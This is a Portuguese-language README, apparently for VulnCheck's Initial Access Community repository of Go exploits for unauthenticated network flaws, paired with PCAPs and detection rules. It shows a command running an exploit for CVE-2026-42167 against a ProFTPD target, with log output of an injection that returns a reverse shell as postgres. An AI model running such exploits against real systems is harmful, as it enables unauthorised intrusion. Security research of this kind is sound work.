
Exploits em Go para vulnerabilidades de rede não autenticadas em routers, VPNs, appliances e IoT, acompanhados de PCAPs, regras Suricata/Snort/YARA/Sigma e scripts Nmap.
O repositório Initial Access Community da VulnCheck contém exploits e artefatos associados do nosso produto proprietário Initial Access Intelligence e contribuições da comunidade. O foco típico do Initial Access são vulnerabilidades baseadas em rede que não exigem interação do usuário, com forte preferência por vulnerabilidades não autenticadas. Os alvos típicos incluem roteadores, VPNs, serviços auto-hospedados (MobileIron, GitLab, Confluence, etc.), appliances de rede, aplicações B2B e dispositivos IoT.
Os exploits são escritos em Go usando o framework go-exploit da VulnCheck. Quando possível, os exploits incluem um verificador de alvo e um scanner de versão. O Initial Access não se resume a exploits, porém. Também nos preocupamos com descoberta e detecção. Juntamente com os exploits, incluímos, quando possível:
Seguimos as mesmas orientações do go-exploit para o design de exploits. Consulte a visão geral do pacote go-exploit.
$ cd feed/cve-2026-42167
$ make
$ ./build/cve-2026-42167_linux-amd64 -a -v -c -e -c2 SimpleShellServer -rhost 127.0.0.1 -rport 2121 -lhost 172.23.0.1 -lport 4446
time=2026-05-08T19:17:44Z level=STATUS msg="Starting listener on 172.23.0.1:4446"
time=2026-05-08T19:17:44Z level=STATUS msg="Validating ProFTPD target" host=127.0.0.1 port=2121
time=2026-05-08T19:17:44Z level=SUCCESS msg="Target verification succeeded!" host=127.0.0.1 port=2121 verified=true
time=2026-05-08T19:17:44Z level=STATUS msg="Running a version check on the remote target" host=127.0.0.1 port=2121
time=2026-05-08T19:17:44Z level=STATUS msg="This exploit has not implemented a version check" host=127.0.0.1 port=2121 vulnerable=notimplemented
time=2026-05-08T19:17:44Z level=STATUS msg="Building reverse shell to 172.23.0.1:4446"
time=2026-05-08T19:17:44Z level=STATUS msg="Sending COPY-to-program injection to 127.0.0.1:2121"
time=2026-05-08T19:17:44Z level=SUCCESS msg="Caught new shell from 172.23.0.2:49722"
time=2026-05-08T19:17:44Z level=STATUS msg="Active shell from 172.23.0.2:49722"
time=2026-05-08T19:17:48Z level=SUCCESS msg="Exploit successfully completed" exploited=true
$ id
uid=999(postgres) gid=999(postgres) groups=999(postgres)
feed/ - Exploits e artefatos específicos de vulnerabilidadesverification/ - Código compartilhado de verificação de alvoshells/ - Código compartilhado de shell e payloadexamples/ - Modelos para criar novos exploitstools/ - Ferramentas e utilitários do projeto